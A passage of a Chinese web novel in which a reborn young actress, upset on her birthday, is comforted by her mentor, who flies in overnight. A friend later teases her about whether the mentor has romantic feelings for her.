齐漫姝满不在乎地撇撇嘴，迅速地掏出手机，手指在屏幕上轻快地跳动了几下，祝星亦的手机便响起“zfb到账5000元”的提示音。 “5000块？”宋姿缈惊讶地坐起身子，刚要开口说些什么，又突然改变主意，嘴角上扬哼笑一声：“哟哟哟，齐大小姐这么有钱，5000块钱随便转，不像我，我赚5000块钱可费劲儿了。” “你费个屁的劲。”齐漫姝不屑地白了她一眼，“小气不拉的，怪不得是麓城大小姐呢，钱都是这样省出来的。” 宋姿缈不甘示弱地反唇相讥：“我凭什么对她大气，她又不是我朋友。” “还你朋友，跟你做朋友才倒霉呢。”齐漫姝毫不留情地回怼。 “狗嘴里吐不出象牙。”宋姿缈气得咬牙切齿。 “你嘴里能吐出狗牙。” “你！！怪不得你俩是朋友！”宋姿缈被彻底激怒，猛地站起身来转身欲走。 齐漫姝见状伸手一把拉住她，边拉边调侃：“老天奶，你也太开不起玩笑了吧。说你两句你就气啦，不会吧不会吧你生气啦，你这么小气呀？” 两人吵吵闹闹之际，齐漫姝不经意间转头看向祝星亦，却发现她正疲惫地笑着。 原本明亮的桃花眼，现在像干涸的河流，双目凝聚的疲乏在闪烁的彩灯下渐渐变得空洞。她整个人像是一截枯木，毫无生机。 “大星，你怎么了？”齐漫姝不再理会与宋姿缈的争吵，快步走到祝星亦身边询问，“你困了吗？” 沙发上的祝星亦像是没有听到她的话一般，没有任何反应，呆滞地望着前方。 等齐漫姝又*焦急地追问了两句，她才像是突然回过神来撑着身子坐直，努力睁大满是疲乏的双眼，微微弯腰，伸手拿过一罐啤酒，手指有些颤抖地打开。 “次”的一声轻响，她仰头便将啤酒往嘴里灌，啤酒在喉咙里咕噜噜地流动，她皱着眉像是在忍受着什么，随后晃了晃手腕，只剩一半酒水在罐子里碰撞，她哑着嗓子说道：“来，走一个。” 齐漫姝看她这副不太不对劲的样子，张张嘴又不知道该说什么，只默默去开了一罐啤酒。 刚要和祝星亦碰杯，宋姿缈抢先一步伸出手用力碰了下祝星亦的罐子，发出清脆的声响。 宋姿缈看齐漫姝疑惑的神情，哼了一声，“怎么，我都给她转1000多块钱了，我不能跟她碰这个杯？她这么金贵？” 齐漫姝不满地嘁了一声，随后三人的罐子碰在一起，发出轻微的碰撞声。 冰凉的啤酒液体顺着喉咙滑下，祝星亦感觉脑袋稍微清醒了一些，那股冰冷暂时驱散了一些内心的混沌。 林芮佳她们正拿着话筒尽情地唱歌，歌声此起彼伏，时不时有人兴奋地喊祝星亦过去唱，她只是微微抬起手，无力地摆了摆，拒绝了邀请。 齐漫姝还在她耳边和宋姿缈继续吵吵闹闹，互不相让。这时，夏诗晴剥了一个橙子，掰开一半递给她，“星星姐，来吃橙子。” 祝星亦机械地接过，轻声说了句谢谢，把橙子填嘴里，橙子的香甜在味蕾上散开。 彩色的光影下，她觉得她们每个人都是漂亮的蝴蝶。扇动翅膀还是静立在花朵上，都是漂亮的蝴蝶。 每个人都想做漂亮的、耀眼的人。 她也想要她们更好，更耀眼。 但是人越贪心越什么都得不到。 “嗯？大星你说啥？”齐漫姝似乎听到祝星亦说了些什么，但嘈杂的环境让她没听清。 “我说，谢谢你们陪我过生日。”祝星亦提高了音量，她坐直身子再次打开一罐酒，仰头喝下一大口。 酒水入喉，凉意瞬间在体内炸开，一阵头疼如细密的针缓缓刺入太阳穴，她皱起了眉，又笑着喃喃：“谢谢你们，谢谢你们。” /// 麓城的冬天总是特别冷，不南不北的地方又临海，室外的湿冷涌着潮气往人骨子里钻，恨不得把人剜掉一块肉才罢休。 走出ktv时外面下了小雨，听说半夜会有雨夹雪。 祝星亦想念前两天天气好的时候，晚上还能去麓湖那边散步。 跟齐漫姝她们告别后，Shinyfive五人相继回艺域公寓。 祝星亦没怎么说话，一问便说是累了。出了电梯和她们打了招呼便回屋子里，灯光没开，她靠着门缓缓坐在地上。 细细碎碎的光从阳台的落地窗处照到地板上，从一排排多肉的窗台到疲惫的脚尖，从乌漆麻黑的天空到黯淡的眼睛。 麓城的夜是巨大的写字台，有人写麓洺江的两岸是梦开始的地方，有人写我在麓城吃不饱饭快饿死了。 祝星亦不知道自己会写什么，她觉得她什么都想写，比如刚来麓城时被一线城市的繁华震惊到了，夜晚的麓洺江美丽到让她失语，穿搭精致的人们让土里土气的她有些羞于抬头。 那时她还是单纯的小孩，做着大大小小不切实际的梦。直到她让梦成真，迎着彩花和冠军的斗篷跳进她渴望的圈子，至此她成为偌大鱼缸的一尾鱼，小心谨慎地仰头吃下鱼食。 后来，后来她变了。 她不清醒又清醒着接受恶魔给她的馈赠，每个关节都钉着钉子的她被绑上鲜艳的蝴蝶结成了市场和商人最有价值的产品。 她迷失在闪亮、美丽的包装纸里，也渐渐因为被捆住手脚而失去了自主活动的能力。 直到她死了，直到她重生了。 她笃定自己一定可以重新改变些东西，但她慢慢明白这个世界有时候真的是相对公平着。 不是所有人重生都可以改变什么，有的人只是在一条路上一直犯错，这种人是蠢人，比如她自己。 她越来越发现自己是愚蠢的，但她很不想承认，起码她觉得自己确实改变了、争取了一些东西。 但有些东西好像是改变不了的，就好像她生下来是岭州山村的女娃娃，她一辈子都无法成为某城某地富贵的大小姐。 可有些事，真的……真的改变不了吗？ [一定会成功］是用来麻痹自己的吗？ 潮湿的水汽和雾珠漫上窗台，她的视线随着渐深的夜变得狭窄，等被地板凉得打了个喷嚏她才起身开灯洗漱。 她睡不着，也不想动，穿着睡衣躺在床上看天花板。 她关上了灯，享受这像死一般的静谧氛围。 走廊上响起一阵急促的脚步声。 她听到了，眼睛依旧望着漆黑一片的天花板。 脚步声渐渐逼近。 好像在她门前停下了。 她挺身而起，警惕地光脚踩到地板上来到客厅。 屋内一片黑漆漆的，只有猫眼处亮着屋外走廊的光。 她走近门，想窥向猫眼。 忽然敲门声响起。 很急很重。 她被吓得退了两步。 凌晨两点半，谁来敲她门。 凉意从光着的脚下拔地而起，瞬时间将她完全包围住，锢得她开始大口喘息。 她咬着牙想要继续窥向猫眼，刺耳的手机铃声在身后的茶几上响起。 脊背竖起汗毛，她回头，一方屏幕亮着光，不知是谁打来的。 门把手忽然被转动。 她颤着身子回过神儿，门又被敲了两下。 手脚钻心的冷，她头昏脑涨地看着透着亮光的猫眼，不敢向那里看去，只慢慢往后退着回避危险。 门反锁着，外面的人进不来。 她继续往后退着，然后她听到外面的人说。 她听到那个人说：“星星，你睡了吗？” 是急切的、慌张的、令人思念的声音。 是那个应该在1000多公里之外的声音。 她迅速开门。 她看到了那双担忧的、愁怨的、温柔的眼睛。 她赤脚站在黑暗里。 她看到了光。 第56章 她抱着我 “苏……苏老师。”祝星亦盯着面前的人的眼喃喃着。 她想向前走一步，身子却没有动作。 她好像有些惧怕什么，一身晦暗的人总是惧怕刺眼的光的。 只是眼前风尘仆仆的人拉着门把手进来了。 冷峻疲惫的身子，随她遁入黑暗。 “怎么不开灯啊？”苏寄欢摸黑进来，放下伞，她不知道开关在哪里，手里又提着东西，垂着头跟一旁站着的祝星亦说：“星星，开下灯。” 有些失神的人移到一旁开灯。 世界亮了。 太刺眼了。 祝星亦一瞬间失明，她站在开关处缓了好久，听到身后的人放下了什么东西，半眯着眼转身，看到苏寄迈着沉重的步伐朝她走来。 苏寄欢的皮肤因疲惫而失去了几分光泽，双眸下是一圈淡淡的青黑，往日明亮锐利的眼此刻也变得有些黯淡无光，像是被蒙上了一层薄纱。干涩的唇勉强勾起一抹微笑，试图掩饰掉那副有些不是很得体的惫态。 苏寄欢一步一步挪到祝星亦身前，声音有些低哑：“我拍完戏收工后已经快11点了，宁城到麓城的航班只有最后一趟，我一路紧赶慢赶才登上机，到麓城后又急忙打车过来的。” 她的目光紧紧锁住祝星亦，满是担忧地问：“你那条撤回的语音，怎么回事？你怎么哭了？是不开心吗？” 说着，她的眉头轻皱，自责地低下头，“对不起，还是没能陪你过生日，我早上六点就开始拍戏了，这几天进程比较赶，实在是没时间。” 她马上拉着祝星亦来到茶几旁，给祝星亦指茶几上的东西，一块漂亮的小蛋糕。 “太晚了，我只找到一家还在开着的甜品店，买了一小块蛋糕给你。我早上八点前还要到剧组，时间紧迫，只能拿她们做好的小蛋糕。” “你……你不介意吧？抱歉，真的是太晚了，来不及。”她边说边点燃蜡烛，双手小心翼翼地捧着小蛋糕递向祝星亦，“你今天和朋友过，应该已经许过愿了，不然你再许一次吧。” 烛光映照出她那张疲惫的脸，火苗随着呼吸晃动，左一下，右一下。奔波太匆忙，她原本精致的妆容已有些斑驳，几缕发丝凌乱地贴在脸颊，双眼满是困乏与倦怠，仍努力地注视着祝星亦。 好亮的光，好刺眼的光，灼得祝星亦有些分不清自己是不是还在活着。 眼睛酸痛无比，七零八碎的语言堵在嗓子眼，拼凑不出完整的句子出来。 祝星亦木然抬起头，闭着嘴，皱着眉，愣愣看着苏寄欢。 穿过摇曳的烛火，暮雪一样的人温柔地望着她，像隐没在梦里，像麓城春天一场又一场冷又暖的雨。 她又想起来了。 她死在了麓城的春天里。 她现在不想死了，她不想再死去了，她想好好活着，想多看这个人一眼，两眼，三眼……直到永远。 她的嘴又咕哝几下，没说出一个完整的字。 胆怯颤栗的心早已生了霉斑，但潮湿温热的目光凌越时间的潮汐，去震颤她。 前世今生，千言万语，万水千山。 然后。 死去的心脏再一次跳动。 它再一次跳动。 经年累月藏纳在袖筒的语无伦次化为一个简单的“嗯”字，她赤着的脚向她移了一步。 她双手合十，她低头，她向她的神许愿。 “我许好了。”祝星亦抿唇，强扯一个笑，“谢谢你，苏老师。” 她弯腰去拿小叉子，叉了一小块儿蛋糕小心抬起手腕，“苏老师，来。” 苏寄欢顿了下，咬下蛋糕。 甜甜的。 她的星星亲手给她喂的蛋糕。 甜甜的。 “生日快乐，小星星，20岁的小星星。”苏寄欢笑着说。 “谢谢你，苏老师，谢谢你。”祝星亦艰涩地开口，然后吃掉一小角蛋糕。 好奇怪，根本没有味道。 “晚上少吃点甜品。”苏寄欢拿过叉子和蛋糕放下，转头看到祝星亦赤着的脚。 她拧着眉问：“你怎么光着脚啊？地板那么凉。” 她快步去找来祝星亦的拖鞋，蹲下身放在地上，催促祝星亦快些穿上，祝星亦敛着眸子无言地配合着。 苏寄欢叹了口气，问：“星星，你告诉我，你为什么会哭？” 祝星亦发来语音的时候她正好在休息，她点开那条语音刚听完，语音就撤回了。 她没多问，赶紧拍完赶回麓城。 苏寄欢知道祝星亦撤回消息是不想让她看到，她便装作不知道，但既然她听到了那句语音，说什么也要亲口问问。 祝星亦支支吾吾了半天，才小声说：“我想你了，我想和你一起过生日。” 想她了？ 苏寄欢心跳一滞。 她咬着唇笑出声：“想我就哭那么大声啊？都20岁了，活像个两岁小孩儿。” “两岁小孩儿”蜷着手指背过身。 苏寄欢赶忙凑到跟前儿拍拍她的胳膊，哄她：“好，不是两岁小孩儿，想哭就哭。” 落在耳中的声音越温柔，祝星亦眼角越酸，她缓了口气，低声说：“我就是说我想你了，你还要说我。” “是我不对。”苏寄欢轻晃她胳膊，垂眸看她微红的眼角，默声几秒，清润的声音出口：“我也很想你，也担心你，才着急赶回来。我得在宁城待很久，但还好有不忙的时候，等我不忙了回来给你补个大的生日，好不好？” “不用了，你已经帮我办了。”祝星亦思绪如麻，深吸一口气说：“苏老师，你，你要不先休息休息吧，就在我这里，你早上六点多拍戏熬到现在……” “不用了，我得赶回去，不能耽误剧组进度。”苏寄欢想起重要的事，赶忙拿起包走向门口，“我得先去机场，坐早上五点那班正好可以赶回去，不耽误拍戏。” 凌晨五点飞回宁城？ 早上六点拍戏，现在快凌晨三点了，又要坐五点的车回去，那不就是一直没合眼？ “可是你这样就是通宵了，你白天还要拍一整天，你……”这也太拼了，祝星亦慌忙去拦她。 苏寄欢摆摆手说：“没事，飞机上我可以眯一会儿，等到了剧组我抽空睡觉就行，别担心我，我得赶紧走了，到机场等的时候还能睡一会儿。” 祝星亦知道怎么也阻止不了她了，只得跟着走，“那我送你到楼下。” 到这个时候祝星亦方责怪自己没有去考驾照，也没有一辆车。 倘若她有这些，就不用苏寄欢自己打车了。 “不用了。”苏寄欢看她只穿睡衣，不想让她再去楼下跑一趟。 “用。”祝星亦态度坚决。 苏寄欢只好找出她的衣服为她套上。 毛衣，羽绒服，通通套上，又仔细地给她拉拉链，“行，送我。” 出公寓的时候，外面飘着细细小小的雪花。 风雪飘着，像遥远的银河闪亮在无尽的苍穹里。 “下雪了。”苏寄欢仰头伸手去接雪花，疏冷的侧脸映在灯光里，铮然凛冽，又柔和得泛起一股股暖意。 祝星亦手揣兜里抬脸看她，黑色呢子大衣包裹着笔挺的身姿，有些凌乱的发托衬着疲惫的脸。 如果不是发了那条语音，苏寄欢可能已经睡下了，这样还能以更好的状态拍戏。 但现在她来回奔波宁城和麓城，觉也睡不好，拍戏的状态肯定也很差劲。 真是多事。她责怪自己。 “我去南门那里等车就行了，你回去吧，不用送了。”苏寄欢踩着台阶往下走，边走边回头，“你回去休息吧，你我之间不用这么客气。” 祝星亦没听她的话，跟着走到她身旁，“若真是无须客气，怎么送你也不让送了？送楼下是送，送出门也是送。” 倔强的脸和声音让苏寄欢有些失语，她短暂凝视祝星亦片刻，说：“刚刚说要送出门，现在又要送出大门，是不是等下还要跟着去机场，再跟着跟着，就去宁城了？” 祝星亦低下头，呜囔囔的声音传来：“我没说，但我确实想跟着去机场。” “不行。” “怎么不行？”祝星亦抬脸，眉毛拧着，一点也不想听苏寄欢的话，她声音大了些，语气也很冲，“送你也不让送了？不陪我过生日，我和你多待一会儿你也不愿意了？” 她有些气，但也说不上来是不是真的气了。 她一点也不想气的，不想耍脾气，不想跟她置气，不想提高音量跟她说话。 苏寄欢知道她还在怪自己，只能放软声音道歉：“对不起。” 太过真挚的道歉，太过宽容的模样，祝星亦见了、听了，心里不好受。 她宁愿苏寄欢怼她一句，或者是责怪她怎么这么没大没小。 她想看苏寄欢这个样子，马上走得快些，再提高声量说：“你知道对不起还不让我送你，是觉得我很好哄吗？” 她觉得自己这样够无理取闹了，想着苏寄欢应该眉头紧皱，然后失去耐心不再跟她掰扯。 出乎意料地，苏寄欢笑出声。 朦亮的世界铺着迷眼的雪，乍隐乍现的灯光扫下一叠叠绵长的影子，苏寄欢笑着走在光下，像天地间最明亮的金琉璃。 “这个我承认，你很好哄。”苏寄欢低头，声音里漫着轻快，“但去机场真的不行，我去了就去里面待着等航班，你一去一回我不放心。” “不行。” 祝星亦走得快了些，走到艺域南门，身后的人好久没跟上来。 转头，那人歪着脑袋看她，慢悠悠走过来，眼亮晶晶的。 祝星亦攥着拳头回头。 脚步渐近，她别着脸不大高兴，“怎么走那么慢。” 肩并着肩，苏寄欢的声音像贴着她的耳朵落下：“你不是想和我多待一会儿？” “我没说。” “好，是我听错了。” “苏老师。” “嗯？” “我冷。” 料峭的碎雪卷成一束束浓厚的雾，光与影陨落，雪与夜静寂着。 苏寄欢转身，苍白的唇下呼出一口热气。 她去脱自己的大衣，却被眼前的人抱住。 手臂收紧，头埋在胸口，脚步又往前移着，欲要把苏寄欢撞倒。 “你好有劲儿啊。”苏寄欢差点没站稳，手放在半空好久，才落在祝星亦背上。 她抚了下怀里人的头发，想开口，又不知道说些什么。 淋着雪，共同沉默着。 好久好久，苏寄欢问：“还冷吗？” 低低的声音闷在怀里，回答着：“不冷了。” “去宁城前，我和剧组去了鸿城采风。鸿城是北方很漂亮的滨海城市，那里有一条环城有轨列车，它穿过城市有名的地标建筑，也可以看到美丽的鸿海。”苏寄欢拍拍她说，“如果你三四月有空，我们一起坐有轨列车看春天好吗？” “春天要好久呢。”祝星亦摇头。 苏寄欢：“不，春天很快就会来。” 祝星亦抱紧她，抱得更紧更紧，更深更深。 像是笑了，又像是哭了，她埋在温暖的胸口前问：“苏老师，你会觉得我很笨吗？” 苏寄欢察觉到她不太对劲，像是哄睡婴儿般的手停下，推测着她话里的东西。 苏寄欢看得出来，从进门到出来，祝星亦一直在忍着什么东西。 不清楚那种东西是什么，只觉得是不便说出口的。 不说的话，去问也问不出什么，只能等着祝星亦自己说。 “有时候觉得你挺笨的。”苏寄欢抿着嘴笑了，“哎……傻乎乎的，太傻了，总是受伤，又总是不听劝告。笨笨的，笨笨的啊。” 听到这个评价，祝星亦抱得更紧了。 忍了好久的眼泪终于决堤。 “是啊……我好笨啊，我怎么能一次一次犯错。我就想选一条活下来的路，可我选不好，我只会害死自己，还会害死别人。”她呜咽着。 她觉得一个人的时候很冷很冷，像抽走了身上所有的血，像从天台坠落时清晰地听到头骨碎裂，像困在坚硬的牢笼里撕扯不开出口。 “苏老师，我也想不那么傻乎乎的，但我好像怎么也做不到那么聪明伶俐。我觉得我有好好工作，我去跟她们社交，我努力演戏，可是除了这些之外，我什么都做不好了。”她觉得嘴巴里好苦好苦，太苦了。 被咬破的唇疼得很，她又想起了ktv里可怕的经历。 除了这一次，还有前面几次，她都想起来了。 浑身的血倒流，她难过得又往苏寄欢怀里缩了缩，想要再抱紧点，但好像不能再紧了，她最大的限度也是这样了。 她缩着，然后苏寄欢收紧手臂。 太好了，她被紧紧抱着了。 太温暖了，太温暖了。 祝星亦号啕大哭起来，她觉得自己真的好差劲。 晏瑾年拿她的朋友威胁她，她却没有还手之力。如果未来她们因为自己丢了前途丢了工作，她到底要怎么赔？ 她好憋闷，好焦虑，完全什么都想不了了。 苏寄欢听不得祝星亦哭，她并不是个共情能力特别特别强的人，但祝星亦的眼泪太能牵动她。 祝星亦哭一次，她也跟着难过一次。 就好像小狐狸的所有悲剧是都她一手造成的，她总是很愧疚很愧疚。 什么都可以解释。 对视的悸动，过界的在乎，拥抱的安心。 唯独这个解释不了。 苏寄欢抬手，想按着祝星亦的肩膀给她擦眼泪。 但祝星亦抱得太紧，她根本推不开。 试了两次都没用。 劲儿好大。 苏寄欢只能轻轻叹气，拍拍她的背说：“如果只能做好一件事，那就把那件事做好就行。但是我想跟你说，你不需要把每件事都做好，你不用做很完美的人，没有人这样要求你，你也不能这样要求自己。你必须必须允许自己不完美，也要允许自己做不好一件事。” “可是你就是一个完美的人。” “我并不完美。”苏寄欢低下头，“我有不完美的一面，我只是没有让你看到。这个世界上没有完美的人，所谓的完美主义也只是一种陷阱，你不要掉进去。” 苏寄欢不知道她听进去多少，继续说：“你也不要觉得自己很差劲，而且我说你傻乎乎的笨笨的，只是因为……” 这下祝星亦马上松开手，桃花眼瞪着，嘴角向下撇，“因为什么？” 苏寄欢眨巴眨巴眼睛，定定地看着祝星亦。 可怜的狐狸满脸都是眼泪，鼻头红红的，连额头上都是泪水，怎么做到的？ 苏寄欢一笑，抬手把她头上的雪拔下，“因为确实挺傻的。” 祝星亦吸吸鼻涕，别过脸，“我知道。” “你怎么突然不哭了？”苏寄欢瞧她好像不那么伤心了，调侃，“想开了？” “再不想开我就自闭到连演戏这件事都做不好了。”祝星亦踢了下雪花，她倒不是真的想开了，只是觉得有苏寄欢在她就安心。 感觉天塌了都没事，晏瑾年好像也没那么可怕了。 祝星亦觉得这种感觉一点都不妙。 苏寄欢不在她就不开心，一遇到棘手的她好像就处理不好了。苏寄欢一在她就很想依着她赖着她，苏寄欢一说走她就觉得自己马上暴尸荒野，得哇哇大哭一场。 每每想到苏寄欢不在她身边，不在麓城，她就头脑胀痛，睡不好，也不安心，总感觉心里有个位置空落落的。 反过来说，苏寄欢在麓城，在身边，她就安心。因为太安心，总觉得做什么事都自信得很。同时她也会觉得自己是安全的，觉得自己周围没有敌人，不需要害怕。 这种情况也不知道什么时候开始的，祝星亦想着自己得去医院看一看。 胸前一团温暖抽走了，苏寄欢有些怅然若失，身子往祝星亦那边靠了下，微微弯腰问：“所以你是因为什么想不开的？” 嘴巴一张一合，不说话，沉默片刻，祝星亦低着头，声音闷闷的，“晏瑾年。” 晏、瑾、年。 晏瑾年？ 苏寄欢脸色骤变，凉意从脚底窜到脑门，窜得太快，她眼前一片白。好不容易缓过来，她控制不住自己的声音，调子拉得很高：“晏瑾年？什么意思？你因为她哭？她？” 祝星亦点头。 苏寄欢窝火。 苏寄欢裹紧自己的大衣转过身，嘴角一抽，不去看祝星亦。 “你该不会还喜欢她吧？”苏寄欢声音有些虚。 祝星亦拧着眉毛解释：“不是，肯定不是。” “那还为她哭？” “我……”祝星亦说不出个所以然，“我不是为她哭，我是……” 她握了握拳头，咬着牙说：“我在ktv里和朋友唱歌，她来找我了。” “找你……她做什么了？”苏寄欢警觉起来。 “没什么。” 没什么？ 一些怀疑被验证了。苏寄欢拉着她的手臂让她说：“她到底做什么了？是不是对你死缠烂打？” 祝星亦犹犹豫豫点头。 苏寄欢拽着她往回走，“我不去拍戏了，也先不回宁城了，我要留在这里。” 第57章 我看她泳装照 这倒把祝星亦吓怕了，“不去拍戏？那不行，不行的苏老师，你要有职业道德。” 苏寄欢往回走，她也顾不上什么道德不道德，什么职业不职业。 反了天了，她不在，晏瑾年就胡作非为是不是？ 祝星亦快跑过去拦住她，伸着手臂不让她回去，“苏老师，你车马上到了，别留这里。” 好冰冷的一句话，苏寄欢蹙眉，“她都对你死缠烂打了，我得在宁城待两个多月，到时候她万一要再做些什么怎么办？” “可你都说了你要在宁城待两个月，那你今晚留下来还有什么用？”祝星亦不明白苏寄欢今晚留下的意义是什么，“别耽误拍戏，快回去，我只是当时伤心，现在想开了。” “你想开什么？” “过一天算一天，就这样先面对着，不然怎么办，还能去死不成？” 苏寄欢赶忙拍她手，“呸，不许说这样的话。” 祝星亦拉她往南门走，“反正我想开了，你说得对，这个世界没有完美的人，我也不需要因为做得不完美就觉得自己是个烂人。反正结局没到来之前，硬着头皮迎接就是了。” 祝星亦是想不出来怎么对付晏瑾年，但好在还有苏寄欢陪她是不是？ 当时那么难过，就是因为苏寄欢不在罢了。 她不在自己什么都解决不好了，情绪无法稳定，心里七上八下。 现在，就现在，苏寄欢站在她身边，她便觉得天塌了还有176的苏寄欢顶着，怕什么啊。 想着，她阴雨连绵的脸上蔓延出笑意，“反正有你在，我什么都不怕了。” 苏寄欢管她怕不怕，反手拉住她的手腕往外走，“我带你走。” 苏寄欢拉她快步朝门口走。 祝星亦疑惑：“走去哪儿？” “去宁城。” “谁跟你去宁城？！”祝星亦听后马上甩掉苏寄欢的手。 苏寄欢在想啥啊？ 苏寄欢急得不得了，自己一不在晏瑾年就死缠烂打，宁城离麓城那么远，来来回回坐飞机都得折腾三个多小时，真要是发生什么了，她赶不回来帮祝星亦啊。 “你跟我去宁城。”苏寄欢又拉起祝星亦的手往外走。 祝星亦大呼不要，她怎么能去宁城啊！ “我不去！”祝星亦拒绝，“苏老师你放开我，我不去！” 但她的拒绝无效，苏寄欢拉着她出了大门。 “我还要拍戏呢，我过几天就进组了，我干嘛跟你去宁城啊！”祝星亦努力挣脱，死活挣脱不开。 苏寄欢拉着她，她拒绝着，腿一直往后退，但退一下又被迫往前走，俩人这样拉拉扯扯，活像雪夜里大白狼拐卖狐狸。 苏寄欢没好气道：“不拍了，你得去宁城，我看着你她就不会欺负你了。” “苏老师你咋这样？”祝星亦铆足力气拽出自己的手，眉毛挤成一座小山，“那个角色我好不容易争取来的，你还不让我拍了？” 苏寄欢没话说。 祝星亦揉揉吃痛的手腕，“我不去宁城，你自己去。” 苏寄欢被祝星亦冷漠的话语伤到了，她耷拉下脑袋，面上不太高兴，“我没有别的意思，我就是害怕她又会对你做什么，我已经进组了，又不能临阵脱逃，我只能把你放在我身边，否则她又会伤害你。” 苏寄欢暂时想不出来有什么更好的解决办法，在原地叉着腰转了半圈，又说：“那我不拍戏了，我留在这里。” “你发烧了吧，你说这种话？”祝星亦简直不敢信这种话是从苏寄欢嘴里说出来的，“你不许留在麓城，麓城现在不欢迎你。” 苏寄欢被噎住了，麓城现在不欢迎她？ “今天下雪，还这么冷，我回来给你过生日，你要跟我说这种话吗？嗯？星星？”冰冷的话语刺痛苏寄欢的心，“我只是……” “你不要只是了，你赶紧赶你的航班吧。”祝星亦的手随意比画了个方向，“我就送你到这里，车要是来了你就赶紧走。” 一道惊雷劈在苏寄欢头上。 什么？赶她走？ 苏寄欢忙拉住祝星亦的袖子，“不行，你得送我去机场。” “谁送你去机场，我不送，一来一回浪费我时间，我困了，我等下要睡觉呢。”祝星亦不乐意，“你自己去，我不去。” 苏寄欢急了，“你刚刚还说要跟着我去机场，你现在又说不想去，你怎么说话不算话？” 祝星亦这下恼了，怎么苏寄欢天天拿没有的事儿编排她。 她跺跺脚，气道：“我什么时候说要跟着你去机场了？苏老师，你这个毛病你又不改，老是往我身上安插莫须有的罪名。” 哈？翻脸不认人？ 苏寄欢握拳冷静道：“就刚刚，刚刚你说的。” “我没说！” “你在我怀里说的！” 祝星亦脸一红，否认：“谁在你怀里了？你别撒谎！” 苏寄欢掀开衣服拍拍自己的胸口，上面还有祝星亦的泪水：“你不在我怀里，那这是谁哭的？你忘了吗？刚刚就是你抱着我……” “谁抱你了！！”祝星亦又羞又恼，声音提高不少，“好了你别说了，你自己在这里吧，我先回去了。” 说着，马上气冲冲拐回去。 苏寄欢急急忙忙跟着回去，祝星亦转身推她一下。 她！推！她！ 刚刚还抱得那么紧，死活不撒手。 现在！ 她！推！她！ 推！她！ 被这一推，苏寄欢脚下一滑，差点站不稳，她难以置信道：“你推我？” 祝星亦担心苏寄欢又要在这里留宿，伸着手臂不让她跟自己回去，“我告诉你，你不能留下，我也不会跟着你去宁城。你真要是在这里留着，你不能进我屋子，你要睡你就睡大街上。” “你还让我睡大街上！你要冻死为师吗！” “我管你冻死不冻死，反正你就……”祝星亦也不知道怎么劝苏寄欢了，只能推着她往外走，“你必须回宁城，赶紧回去，我不想看到你。” 听到这话，苏寄欢浑身僵住了。 不想看到？ 不想看到？！ 不想看到？？！！ 谁？是谁说想她了？是谁想她想得哭了？是谁抱着她不撒手泪流满面？ 是谁？到底是谁？ 现在又不想看到她了？？ 啊？？ “星星你……”苏寄欢面如土色，她的心碎得跟着雪似的，一片一片又一片。 车恰好来了。 祝星亦推着心如刀割的苏寄欢到车门，她打开后座车门，无情地把苏寄欢推进去，说了声一路平安，又无情地关上车门。 车开走了。 苏寄欢在后座生无可恋地歪着。 那边祝星亦叉腰松了口气。 很好，今晚睡个好觉，嘿嘿。 /// 齐漫姝试镜那天，跟助理一起过来接祝星亦。 前几天的雪小，没多久就化了，又迎来了好天气。 艺域公寓南门，齐漫姝站在车前冲刚出来的祝星亦招手。 “给给，路上给你带的栗子。”齐漫姝抱着一袋热乎乎的栗子塞给祝星亦。 祝星亦接过，“还得是老漫，最懂我喜欢吃什么。” 开车门坐进去，祝星亦晃晃栗子说：“之前《寄明月》试妆的时候，苏老师也给我带了袋栗子。因为我当时发朋友圈，说想要在冬天下雪的时候吃栗子，她就*给我带了。” 怎么感觉怪怪的？ 齐漫姝好奇道：“啊？试妆的时候？她那时候就待你这么好了啊？” 祝星亦剥开栗子，放齐漫姝手里，又给自己剥开一颗，香香甜甜，好吃得很。 “是啊，她人很好的。”祝星亦点头。 “她人是挺好的，但是……”齐漫姝这时候才品味到不一样，凑近祝星亦皱着眉说：“但是对你也太好了吧？对你那么照顾，又官宣师徒关系，还……” “她前几天回来给我过生日了，就我生日那天，我回公寓后她就来找我了。” 齐漫姝更是瞪大了眼，声音提高几个度，“回来？她不是去宁城拍戏了吗？！” 祝星亦剥着栗子，声音里透着一丝甜意，“是啊，她回来给我买了个小蛋糕，不过也赖我，要不是脑子不好发了一条消息，她也没必要熬个大夜赶回来。” 就发了一条消息，人就从宁城跑回麓城？？ 1000多公里啊！ 齐漫姝觉得祝星亦忽视什么了，掰过她的肩膀，仔仔细细瞧祝星亦的表情，很遗憾，祝星亦这张脸写满了栗子很好吃。 齐漫姝马上夺走栗子，“祝大星，她晚上从宁城赶回麓城啊！” 祝星亦把栗子夺回来，点头，“是啊，然后她又回去了，赶回宁城拍戏。” “宁城麓城一来一回啊。” “嗯。” “来回1000多公里啊。”齐漫姝敲敲祝星亦的头，“你的苏老师，该不会暗恋你吧？” 祝星亦马上打掉她的手，“说什么呢！不许污蔑苏老师。” “那她为什么要为你从宁城赶回麓城啊？你知道多远吗？1000多公里，开车要12个小时，高铁要5个小时，飞机要2个小时。她大晚上为了你一条消息从宁城到麓城，就为了一条消息？”齐漫姝看祝星亦一点都没意识到的模样，恨不得把她的脑袋挖出来看看她天天在想什么，竟然连这都没意识到。 祝星亦正要辩驳什么，但话卡在嘴边，什么也没说出来。 是啊，为什么呢？ 祝星亦把栗子放一旁拿出手机，“那我问问她。” 邦！ 齐漫姝弹了祝星亦一个暴栗，祝星亦吃痛地捂着头，“你干嘛！” “你问她？你你你，这种问题怎么问？”齐漫姝气道，“你就说你自己，你感受不到吗？” “我……”祝星亦低头看栗子，她能感受到什么呢？ 她只感受到自己好像有点离不开苏寄欢了。 这对她来说并不是一件好事。 一旦产生依赖感，以后要是被抛弃了，又是一场新的折磨。 被抛弃过的人总是担心自己会不会再次抛弃，所以她总是在抗拒着亲密的关系、距离，但，但…… “你别说这个了，她要是喜欢我，那也只是出于老师对学生的爱护，我也一样啊。”祝星亦笑着解释，“你肯定也是喜欢亲近的人，比如我就喜欢我的朋友们，你看你，我也喜欢你……” “这种喜欢是不一样的，难道你能和我们上床？”齐漫姝开始跟她探讨这个问题，“你如果要问她喜不喜欢你，你就说：‘苏老师，我今天穿了黑丝，你想看吗？’” 祝星亦看自己今天的穿搭，不是黑丝。 “可我没有穿。”祝星亦诚实说，“而且我问这个干嘛，这很轻浮啊。” 齐漫姝耸肩道：“可是这样是最快检测她到底是不是对你有兴趣的法子，你哪天这样问她，然后你把她的回答发给我，我给你分析分析。” 祝星亦听进去了，但还是觉得这个办法不好。 她和苏寄欢相处是很正常的师徒相处，突然来这一出，苏寄欢会不会反感她？ 苏寄欢从来都是稳重的、温柔的、强大的、正经的形象，她怎么能这样对她啊…… 太有损苏寄欢形象了…… 